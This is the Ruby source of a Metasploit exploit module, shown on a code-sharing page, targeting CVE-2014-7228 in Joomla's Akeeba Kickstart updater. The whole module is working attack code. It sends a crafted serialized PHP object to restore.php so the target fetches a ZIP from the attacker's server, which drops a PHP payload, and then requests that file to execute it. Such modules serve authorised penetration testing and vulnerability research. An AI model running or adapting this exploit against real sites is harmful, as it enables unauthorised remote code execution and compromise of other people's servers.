CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/zip'
7
require 'json'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Exploit::Remote::HttpClient
13
include Msf::Exploit::Remote::HttpServer::HTML
14
include Msf::Exploit::FileDropper
15
16
def initialize(info={})
17
super(update_info(info,
18
'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",
19
'Description' => %q{
20
This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
21
3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
22
component, which is responsible for Joomla! updates. Nevertheless it is worth to note
23
that this vulnerability is only exploitable during the update of the Joomla! CMS.
24
},
25
'License' => MSF_LICENSE,
26
'Author' =>
27
[
28
'Johannes Dahse', # Vulnerability discovery
29
'us3r777 <us3r777[at]n0b0.so>' # Metasploit module
30
],
31
'References' =>
32
[
33
[ 'CVE', '2014-7228' ],
34
[ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],
35
[ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],
36
[ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],
37
],
38
'Platform' => ['php'],
39
'Arch' => ARCH_PHP,
40
'Targets' =>
41
[
42
[ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]
43
],
44
'Stance' => Msf::Exploit::Stance::Aggressive,
45
'Privileged' => false,
46
'DisclosureDate' => '2014-09-29',
47
'DefaultTarget' => 0))
48
49
register_options(
50
[
51
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
52
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5])
53
])
54
end
55
56
def check
57
res = send_request_cgi(
58
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')
59
)
60
61
if res && res.code == 200
62
return Exploit::CheckCode::Detected
63
end
64
65
Exploit::CheckCode::Safe
66
end
67
68
def primer
69
srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"
70
71
php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'
72
php_filename = rand_text_alpha(8 + rand(8)) + '.php'
73
74
# Create the zip archive
75
print_status("Creating archive with file #{php_filename}")
76
zip_file = Rex::Zip::Archive.new
77
zip_file.add_file(php_filename, payload.encoded)
78
@zip = zip_file.pack
79
80
# First step: call restore to run _prepare() and get an initialized AKFactory
81
print_status("Sending PHP serialized object...")
82
res = send_request_cgi({
83
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
84
'vars_get' => {
85
'task' => 'stepRestore',
86
'factory' => Rex::Text.encode_base64(php_serialized_akfactory)
87
}
88
})
89
90
unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
91
print_status("#{res.code}\n#{res.body}")
92
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
93
end
94
95
# Second step: modify the currentPartNumber within the returned serialized AKFactory
96
json = /###(.*)###/.match(res.body)[1]
97
begin
98
b64encoded_prepared_factory = JSON.parse(json)['factory']
99
rescue JSON::ParserError
100
fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
101
end
102
103
prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
104
modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')
105
106
print_status("Sending initialized and modified AKFactory...")
107
res = send_request_cgi({
108
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
109
'vars_get' => {
110
'task' => 'stepRestore',
111
'factory' => Rex::Text.encode_base64(modified_factory)
112
}
113
})
114
115
unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
116
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
117
end
118
119
register_files_for_cleanup(php_filename)
120
121
print_status("Executing payload...")
122
send_request_cgi({
123
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
124
}, 2)
125
126
end
127
128
def exploit
129
begin
130
Timeout.timeout(datastore['HTTPDELAY']) { super }
131
rescue Timeout::Error
132
# When the server stops due to our timeout, this is raised
133
end
134
end
135
136
# Handle incoming requests from the server
137
def on_request_uri(cli, request)
138
if @zip && request.uri =~ /\.zip$/
139
print_status("Sending the ZIP archive...")
140
send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
141
return
142
end
143
144
print_status("Sending not found...")
145
send_not_found(cli)
146
end
147
148
def autofilter
149
true
150
end
151
end
152
153